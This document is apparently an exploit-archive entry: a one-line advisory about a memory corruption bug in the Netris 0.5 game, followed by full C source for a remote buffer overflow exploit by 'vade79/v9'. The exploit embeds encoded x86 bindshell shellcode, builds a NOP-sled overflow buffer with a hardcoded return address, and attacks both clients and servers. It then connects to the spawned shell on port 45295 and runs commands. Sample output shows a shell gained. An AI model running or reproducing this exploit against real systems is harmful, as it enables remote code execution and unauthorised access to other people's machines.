// source: https://www.securityfocus.com/bid/5680/info
Netris is prone to a remotely exploitable memory corruption issue.
Netris is prone to a remotely exploitable memory corruption issue. An attacker may exploit this to execute arbitrary code with the privileges of the user invoking the vulnerable application.
/*[ netris[v0.5]: client/server remote buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo) *
* *
* netris homepage/URL: *
* http://www.netris.org *
* ftp://ftp.netris.org (v0.52 fixes this bug) *
* *
* compile: *
* cc xnetris.c -o xnetris *
* *
* this exploits the netris buffer overflow found roughly a year *
* ago(https://www.securityfocus.com/bid/5680), and recently *
* brought up again, in client-side form. (same code) *
* *
* when the MyEventType() function is done, the contents of the *
* buffer can continue on past netBuf[64], into other data *
* segments. however, the segment right after *
* netBuf[64](netBufSize[4]) will be changed to 0x00000000, *
* after the overflow has taken place. so, instead of using 64 *
* byte shellcode, we will skip the first 68 bytes(filler). *
* this will look like so: *
* *
* memory: [netBuf(64)][netBufSize(4)]...[other data segments] *
* exploit: [68 filler bytes][nops][shellcode][return address] *
* *
* since the same inet code is used both for the server, and *
* the client; i made this exploit to do both, with no memory *
* changes. *
* *
* when this exploits successfully, netris will display "Network *
* negotiation failed", and idle until netris is closed(running *
* bindshell). (for both client, and server exploitation) *
* *
* examples(client/server): *
* # ./xnetris -b *
* [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* [*] awaiting connection from: *:9284. *
* [*] netris server connection established. *
* [*] netris server connection closed. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: 127.0.0.1:45295. *
* [*] successfully connected: 127.0.0.1:45295. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* # ./xnetris localhost *
* [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
* [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *
* *
* [*] attempting to connect: localhost:9284. *
* [*] successfully connected: localhost:9284. *
* [*] checking to see if the exploit was successful. *
* [*] attempting to connect: localhost:45295. *
* [*] successfully connected: localhost:45295. *
* *
* Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
* uid=500(v9) gid=500(v9) groups=500(v9) *
* *
* (tested on redhat/7.1, and gentoo/r5; netris-0.5 source. *
* should work out of the box on linux/x86(+-2048 nop room). if *
* not, check the RETADDR define comment) *
*****************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size. */
#define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
#define DFLPORT 9284 /* default netris port. */
#define TIMEOUT 10 /* connection timeout. (generic as always) */
static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
"\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
"\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
"\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
"\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
"\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
"\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
"\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
"\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"
"\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"
"\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
"\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"
"\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
"\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";
char *getcode(void);
char *netris_bind(unsigned short);
unsigned short netris_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
int main(int argc,char **argv){
unsigned short isbind=0,nport=DFLPORT; /* default. */
char *hostptr;
printf("[*] netris[v0.5-]: client/server remote buffer overflow ex"
"ploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
if(argc<2){
printf("[!] syntax: %s <host|-b> [port]\n",argv[0]);
exit(1);
}
if(!strcmp(argv[1],"-b"))
isbind=1;
if(argc>2)
nport=atoi(argv[2]);
if(isbind)
hostptr=netris_bind(nport);
else
netris_connect((hostptr=argv[1]),nport);
sleep(1);
getshell(hostptr,45295); /* defined in shellcode. */
exit(0);
}
char *getcode(void){
unsigned int i=0;
char *buf;
if(!(buf=(char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
/* fill the buffer with the return address. */
for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=RETADDR;}
/* netBuf[64] + 4 = netBufSize = 0x00000000. */
memset(buf,0x78,68); /* netBuf+netBufSize filler. */
memset(buf+68,0x90,4096); /* 4096 nops/guesses. */
memcpy(buf+68+4096,x86_exec,strlen(x86_exec));
return(buf);
}
char *netris_bind(unsigned short port){
int ssock=0,sock=0,so=1;
unsigned int salen=0;
struct sockaddr_in ssa,sa;
ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
#ifdef SO_REUSEPORT
setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
ssa.sin_family=AF_INET;
ssa.sin_port=htons(port);
ssa.sin_addr.s_addr=INADDR_ANY;
printf("[*] awaiting connection from: *:%d.\n",port);
if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
printe("could not bind socket.",1);
listen(ssock,1);
bzero((char*)&sa,sizeof(struct sockaddr_in));
salen=sizeof(sa);
sock=accept(ssock,(struct sockaddr *)&sa,&salen);
close(ssock);
printf("[*] netris server connection established.\n");
write(sock,getcode(),BUFSIZE);
sleep(1);
close(sock);
printf("[*] netris server connection closed.\n");
return(inet_ntoa(sa.sin_addr));
}
unsigned short netris_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
write(sock,getcode(),BUFSIZE);
sleep(1);
close(sock);
return(0);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)
exit(1);
return;
}
